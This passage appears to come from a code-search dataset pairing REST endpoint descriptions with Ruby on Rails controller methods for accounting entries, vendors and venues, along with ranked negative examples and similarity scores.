"def update \n begin\n @resource = Account.find(params[:id])\n @resource.update_attributes!(params[:account])\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def update\n @entry = @time_sheet.entries.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to [@user, @time_sheet, @entry], notice: 'Hours were successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bill_entry.update(bill_entry_params)\n format.html { redirect_to @bill_entry, notice: 'Bill entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @bill_entry }\n else\n format.html { render :edit }\n format.json { render json: @bill_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @transaction_entry = TransactionEntry.find(params[:id])\n\n respond_to do |format|\n #if @transaction_entry.update_attributes(params[:transaction_entry])\n if @transaction_entry.update_attributes(params.require(:transaction_entry).permit(:debit_amount, :tranxaction_id, :account_id))\n format.html { redirect_to @transaction_entry, :notice => 'Transaction entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @transaction_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @journal_entry.update(journal_entry_params)\n format.html { redirect_to journal_entries_url, notice: 'journal_entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @journal_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @entry = Entry.find(params[:id])\n respond_to do |format|\n if @entry.update({\n content: params[:entry][:content],\n journal_id: params[:entry][:journal_id]\n })\n format.html { redirect_to @entry }\n format.json { render :show }\n else\n format.html { render :edit }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @entry.update(entry_params)\n format.html { redirect_to edit_entry_path(@entry), notice: 'Entry updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @entry.update(entry_params)\n format.html { redirect_to entries_path, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6911515",
"0.6431857",
"0.63417584",
"0.62840235",
"0.6277344",
"0.6251895",
"0.62371135",
"0.6236573",
"0.6233051",
"0.61779594",
"0.61779594",
"0.61707944",
"0.6156453",
"0.6137227",
"0.61234796",
"0.6109326",
"0.6106697",
"0.6093025",
"0.6088871",
"0.60702246",
"0.6065793",
"0.6064105",
"0.6064105",
"0.6064105",
"0.6061264",
"0.6044301",
"0.6041288",
"0.6038266",
"0.6036236",
"0.6032055"
] | 0.679145 | 1 |
DELETE /accounting_entries/1 DELETE /accounting_entries/1.json | def destroy
@accounting_entry.destroy
authorize AccountingEntry
respond_to do |format|
format.html { redirect_to accounting_entries_url, notice: 'Accounting entry was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @accounting_entry.destroy\n respond_to do |format|\n format.html { redirect_to accounting_entries_url, notice: 'Se ha eliminado con exito!.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ledger_entry = LedgerEntry.find(params[:id])\n @ledger_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to ledger_entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @billing_entry = BillingEntry.find(params[:id])\n @billing_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(billing_entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n debugger\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @accounting_account.destroy\n respond_to do |format|\n format.html { redirect_to accounting_accounts_url, notice: 'La cuenta ha sido eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @income_entry = IncomeEntry.find(params[:id])\n @income_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to income_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journal_entry = JournalEntry.find(params[:id])\n @journal_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to journal_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journal_entry = JournalEntry.find(params[:id])\n @journal_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to journal_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journal_entry = JournalEntry.find(params[:id])\n @journal_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_entries_url) }\n format.json { render :json => [] }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @account_entry = AccountEntry.find(params[:id])\n @account_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_entries_url) }\n format.xml { head :ok }\n end\n end",
"def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @transaction_entry = TransactionEntry.find(params[:id])\n @transaction_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to transaction_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diary_entry.destroy\n respond_to do |format|\n format.html { redirect_to diary_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill_entry.destroy\n respond_to do |format|\n format.html { redirect_to bill_entries_url, notice: 'Bill entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_entries_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accounting_action.destroy\n respond_to do |format|\n format.html { redirect_to accounting_actions_url, notice: 'Ação foi destruída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = TaxRule.find(params[:id])\n record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.75156885",
"0.6917398",
"0.68716925",
"0.684681",
"0.68115044",
"0.68100715",
"0.6797693",
"0.6797693",
"0.67735714",
"0.67357504",
"0.67338014",
"0.67217165",
"0.6709898",
"0.66971654",
"0.66676116",
"0.6665402",
"0.6649645",
"0.66373533",
"0.6617056",
"0.6605619",
"0.6605619",
"0.660067",
"0.65963",
"0.65943176",
"0.65943176",
"0.65926313",
"0.65844804",
"0.65844804",
"0.65844804",
"0.65842897"
] | 0.6961732 | 1 |
GET /vendedors GET /vendedors.json | def index
@vendedors = Vendedor.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def managed_venues\n\t\t\t get('venues/managed').venues\n\t\t\tend",
"def index\n @vendedores = Vendedor.all\n if params[:search] != \"\"\n @vendedores = Vendedor.search(params[:search]).page(params['page']).per(5)\n else\n @vendedores = Vendedor.all.page(params['page']).per(5)\n end\n end",
"def index\n @vendes = Vende.all\n end",
"def my_venues\n @venues = \n if admin_session?\n User.find_by_uuid(params[:for_user]).try(:owned_venues)\n else\n current_user.owned_venues\n end\n @venues ||= []\n respond_to do |format|\n format.json {\n @venues = [Venue.new(:name => 'TBD')] + @venues\n @venues += [Venue.new(:name => VenuesHelper::ADD_NEW_VENUE_PROMPT)] if params[:add_new]\n render :json => @venues.map {|v| {:value => v.uuid, :text => v.name}}\n }\n format.html\n end\n end",
"def index\n @souveniors = Souvenior.all\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def index\n if params[:vendedor].blank?\n vendedores = current_user.punto_venta.vendedors\n @estado_personas = EstadoPersona.where(vendedor_id: vendedores)\n else\n @vendedor = Vendedor.where(numero: params[:vendedor]).first\n @estado_personas = EstadoPersona.where(vendedor_id: @vendedor.id)\n end\n @bg_gray = true\n\n end",
"def venue(id)\n get(\"venues/#{id}\").venue\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def show\n @vendedor = Vendedor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end",
"def index\n @venues = current_user.venues\n end",
"def show\n @vendedor = Vendedor.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def index\n @venues = Venue.all\n end",
"def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendedors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendedors_url) }\n format.xml { head :ok }\n end\n end",
"def index\n @guests = @wedding.guests.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def venues_as_json\n ::Venue.includes(:cameras).map do |v|\n Hash(\n id: v.id,\n drinkcommand_id: v.drinkcommand_id,\n name: v.name,\n cameras: cameras_as_json( v )\n )\n end\n end",
"def managed_venues\n response = get(\"/venues/managed\")[\"response\"]\n @venues = response[\"venues\"].collect{|venue| Foursquared::Response::Venue.new(self, venue)}\n end",
"def destroy\n @vendedor.destroy\n respond_to do |format|\n format.html { redirect_to vendedors_url, notice: 'Vendedor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vendedor.destroy\n respond_to do |format|\n format.html { redirect_to vendedors_url, notice: 'Vendedor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.66803765",
"0.6402791",
"0.6380672",
"0.62718785",
"0.6245827",
"0.622651",
"0.62057453",
"0.62057453",
"0.61453766",
"0.61453766",
"0.61453766",
"0.61453766",
"0.6105332",
"0.60998416",
"0.6091319",
"0.608299",
"0.6080477",
"0.60720336",
"0.605281",
"0.59629744",
"0.59548783",
"0.59548783",
"0.5948528",
"0.5940801",
"0.5940801",
"0.5940801",
"0.5926526",
"0.5909545",
"0.5905082",
"0.5905082"
] | 0.77711964 | 0 |
POST /vendedors POST /vendedors.json | def create
@vendedor = Vendedor.new(vendedor_params)
respond_to do |format|
if @vendedor.save
format.html { redirect_to @vendedor, notice: 'Vendedor was successfully created.' }
format.json { render :show, status: :created, location: @vendedor }
else
format.html { render :new }
format.json { render json: @vendedor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @vendedor = Vendedor.new(params[:vendedor])\n\n respond_to do |format|\n if @vendedor.save\n flash[:notice] = 'Vendedor was successfully created.'\n format.html { redirect_to(@vendedor) }\n format.xml { render :xml => @vendedor, :status => :created, :location => @vendedor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vendedor = Vendedor.new(params[:vendedor])\n respond_to do |format|\n if @vendedor.save\n flash[:notice] = 'Vendedor was successfully created.'\n format.html { redirect_to(@vendedor) }\n format.xml { render :xml => @vendedor, :status => :created, :location => @vendedor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vendedor = Vendedor.new(vendedor_params)\n\n respond_to do |format|\n if @vendedor.save\n format.html { redirect_to @vendedor, notice: t('.sucesso') }\n format.json { render :show, status: :created, location: @vendedor }\n else\n format.html { render :new }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @vendedors = Vendedor.all\n end",
"def create\n #create venues trought users controller\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def destroy\n @vendedor.destroy\n respond_to do |format|\n format.html { redirect_to vendedors_url, notice: 'Vendedor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vendedor.destroy\n respond_to do |format|\n format.html { redirect_to vendedors_url, notice: 'Vendedor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @revendedor = Revendedor.new(params[:revendedor])\n\n respond_to do |format|\n if @revendedor.save\n flash[:notice] = 'Revendedor was successfully created.'\n format.html { redirect_to(@revendedor) }\n format.xml { render :xml => @revendedor, :status => :created, :location => @revendedor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @revendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendedors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendedors_url) }\n format.xml { head :ok }\n end\n end",
"def vendedor_params\n params.require(:vendedor).permit(:nome, :telefone, :porcentagem)\n end",
"def vendedor_params\n params.require(:vendedor).permit(:foto, :numero, :fecha_alta, :fecha_baja, :persona_id, :punto_venta_id)\n end",
"def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def vendedor_params\n params.require(:vendedor).permit(:rut, :nombre, :apellidoP, :apellidoM, :correo)\n end",
"def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"def create\n\n @vendedor = Vendedor.new(vendedor_params)\n if vendedor_params[\"punto_venta_id\"].nil?\n @vendedor.punto_venta_id = current_user.punto_venta_id\n end\n if current_user.punto_venta.vendedors.order(:avance).last == nil\n @vendedor.avance = 1\n else\n @vendedor.avance = current_user.punto_venta.vendedors.order(:avance).last.avance.to_i + 1\n end\n \n if Persona.where(:cuit => params[:persona][:cuit]).first == nil\n @persona = Persona.new(persona_params)\n else\n @persona= Persona.where(:cuit => params[:persona][:cuit]).first\n @persona.tipo_documento_id=params[:persona][:tipo_documento_id]\n @persona.numero_documento=params[:persona][:numero_documento]\n @persona.apellido=params[:persona][:apellido]\n @persona.nombre=params[:persona][:nombre]\n @persona.domicilio=params[:persona][:domicilio]\n @persona.telefono=params[:persona][:telefono]\n @persona.fecha_nacimiento=params[:persona][:fecha_nacimiento]\n @persona.email=params[:persona][:email]\n end\n \n \n #el numero de vendedor debe ser unico\n respond_to do |format|\n if @persona.save\n @vendedor.persona_id=@persona.id\n if @vendedor.save\n\n if @vendedor.persona.user != nil and @vendedor.persona.user.has_role? :punto_venta\n format.html { redirect_to current_user.punto_venta, notice: 'Vendedor creado.' }\n\n else\n format.html { redirect_to @vendedor, notice: 'Vendedor creado..' }\n format.json { render :show, status: :created, location: @vendedor }\n end\n \n else\n if @persona.user != nil and @persona.user.has_role? :punto_venta\n flash[:error] = @vendedor.errors.messages.first[1][0]\n \n format.html { redirect_to vendedor_cambiar_rol_path(persona: @persona.id)} \n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n else\n format.html { render :new }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n else\n if @persona.user != nil and @persona.user.has_role? :punto_venta\n flash[:error] = @persona.errors.messages.first[1][0]\n \n format.html { redirect_to vendedor_cambiar_rol_path(persona: @persona.id)} \n format.json { render json: @persona.errors, status: :unprocessable_entity }\n else\n format.html { render :new }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n \n end\n end",
"def create\n @souvenior = Souvenior.new(souvenior_params)\n\n respond_to do |format|\n if @souvenior.save\n format.html { redirect_to root_path, notice: 'Souvenior was successfully created.' }\n format.json { render :show, status: :created, location: @souvenior }\n else\n format.html { render :new }\n format.json { render json: @souvenior.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rsvp = Rsvp.new(rsvp_params)\n\n if @rsvp.save\n render json: @rsvp, status: :created, location: @rsvp\n else\n render json: @rsvp.errors, status: :unprocessable_entity\n end\n end",
"def create\n \n if(!params[\"venue\"].blank?)\n Venue.save_multiple_venues(@curr_user,params[\"venue\"])\n @status=true\n else\n @status=false\n end\n respond_to do |format|\n if @status\n format.html { redirect_to :action=>:index }\n format.json { render :json => @venues, :status => :created, :location => @venues }\n else\n flash[:error] = 'Please select atleast one checkbox to create venue'\n format.html { redirect_to :action => \"search\"}\n end \n end\n end",
"def vendedor_params\n params.require(:vendedor).permit(:codigo, :user_id)\n end",
"def create\n if params[\"foursq_id\"]\n @foursq_venue = foursquare.venues.find(params[\"foursq_id\"])\n @venue = Venue.new_from_4sq(@foursq_venue)\n else\n @venue = Venue.new(params[:venue])\n end\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render json: @venue, status: :created, location: @venue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end",
"def update\n respond_to do |format|\n if @vendedor.update(vendedor_params)\n format.html { redirect_to @vendedor, notice: 'Vendedor was successfully updated.' }\n format.json { render :show, status: :ok, location: @vendedor }\n else\n format.html { render :edit }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vendedor.update(vendedor_params)\n format.html { redirect_to @vendedor, notice: 'Vendedor was successfully updated.' }\n format.json { render :show, status: :ok, location: @vendedor }\n else\n format.html { render :edit }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6486787",
"0.6474339",
"0.6441286",
"0.6376677",
"0.6022261",
"0.58787936",
"0.58787936",
"0.58787936",
"0.58787936",
"0.5866251",
"0.5866251",
"0.5838489",
"0.57296216",
"0.57296216",
"0.5705851",
"0.5705851",
"0.5699218",
"0.5665701",
"0.5646923",
"0.5643799",
"0.5638384",
"0.5606609",
"0.5587925",
"0.5580938",
"0.5554596",
"0.5498712",
"0.54982567",
"0.54324555",
"0.5425817",
"0.5425817"
] | 0.69393945 | 0 |
PATCH/PUT /vendedors/1 PATCH/PUT /vendedors/1.json | def update
respond_to do |format|
if @vendedor.update(vendedor_params)
format.html { redirect_to @vendedor, notice: 'Vendedor was successfully updated.' }
format.json { render :show, status: :ok, location: @vendedor }
else
format.html { render :edit }
format.json { render json: @vendedor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @vendedor.update(vendedor_params)\n format.html { redirect_to @vendedor, notice: t('.atualizado') }\n format.json { render :show, status: :ok, location: @vendedor }\n else\n format.html { render :edit }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vendedor = Vendedor.find(params[:id])\n respond_to do |format|\n if @vendedor.update_attributes(params[:vendedor])\n flash[:notice] = 'Vendedor was successfully updated.'\n format.html { redirect_to(@vendedor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @vendedor = Vendedor.find(params[:id])\n\n respond_to do |format|\n if @vendedor.update_attributes(params[:vendedor])\n flash[:notice] = 'Vendedor was successfully updated.'\n format.html { redirect_to(@vendedor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n if @verse.update_attributes(params[:verse])\n format.html { redirect_to @verse, notice: 'Verse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n if @verse.update_attributes(params[:verse])\n format.html { redirect_to @verse, notice: 'Verse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #update venues trought users controller\n\n @user = User.find_by(authentication_token: request.headers['Authorization'])\n\n if @user.is_venue?\n @user.venue.update(venue_params)\n if @user.venue.update(venue_params)\n render json: {status: :ok}\n else\n render json: {msg: 'Invalid params'}\n end\n else\n render json: {msg: 'You dont own a venue'}, status: :error\n end\n \n\n end",
"def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def update\n @revendedor = Revendedor.find(params[:id])\n\n respond_to do |format|\n if @revendedor.update_attributes(params[:revendedor])\n flash[:notice] = 'Revendedor was successfully updated.'\n format.html { redirect_to(@revendedor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @revendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @venom_status = args[:venom_status] if args.key?(:venom_status)\n end",
"def update\n @elector = Elector.find(params[:id])\n\n if @elector.update(elector_params)\n head :no_content\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end",
"def update\n @paper_venue = PaperVenue.find(params[:id])\n\n respond_to do |format|\n if @paper_venue.update_attributes(params[:paper_venue])\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n state_id = params[:venue][:state]\n town_id = params[:venue][:town]\n postal_code_id = params[:venue][:postal_code]\n p state_id, town_id, postal_code_id\n location_relation = LocationRelation.where(:state_id => state_id, :postal_code_id => postal_code_id, :town_id => town_id).first\n\n respond_to do |format|\n if @venue.update(\n :name => params[:venue][:name],\n :address => params[:venue][:address],\n :location_relation_id => location_relation.id,\n :room_name => params[:venue][:room_name],\n :room_cost => params[:venue][:room_cost],\n :room_setup => params[:venue][:room_setup],\n :capacity => params[:venue][:capacity],\n :screen => params[:venue][:screen],\n :whiteboard_available => params[:venue][:whiteboard_available],\n :catering => params[:venue][:catering],\n :lunch_available => params[:venue][:lunch],\n :notes => params[:venue][:notes],\n :contact => params[:venue][:contact],\n :number => params[:venue][:number]\n )\n format.html { redirect_to venues_path, notice: 'RTO was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n if @vet.update_attributes(params[:vet])\n format.html { redirect_to @vet, notice: 'Vet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @verbo = Verbo.find(params[:id])\n\n respond_to do |format|\n if @verbo.update_attributes(params[:verbo])\n format.html { redirect_to @verbo, notice: 'Verbo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verbo.errors, status: :unprocessable_entity }\n end\n end\n end",
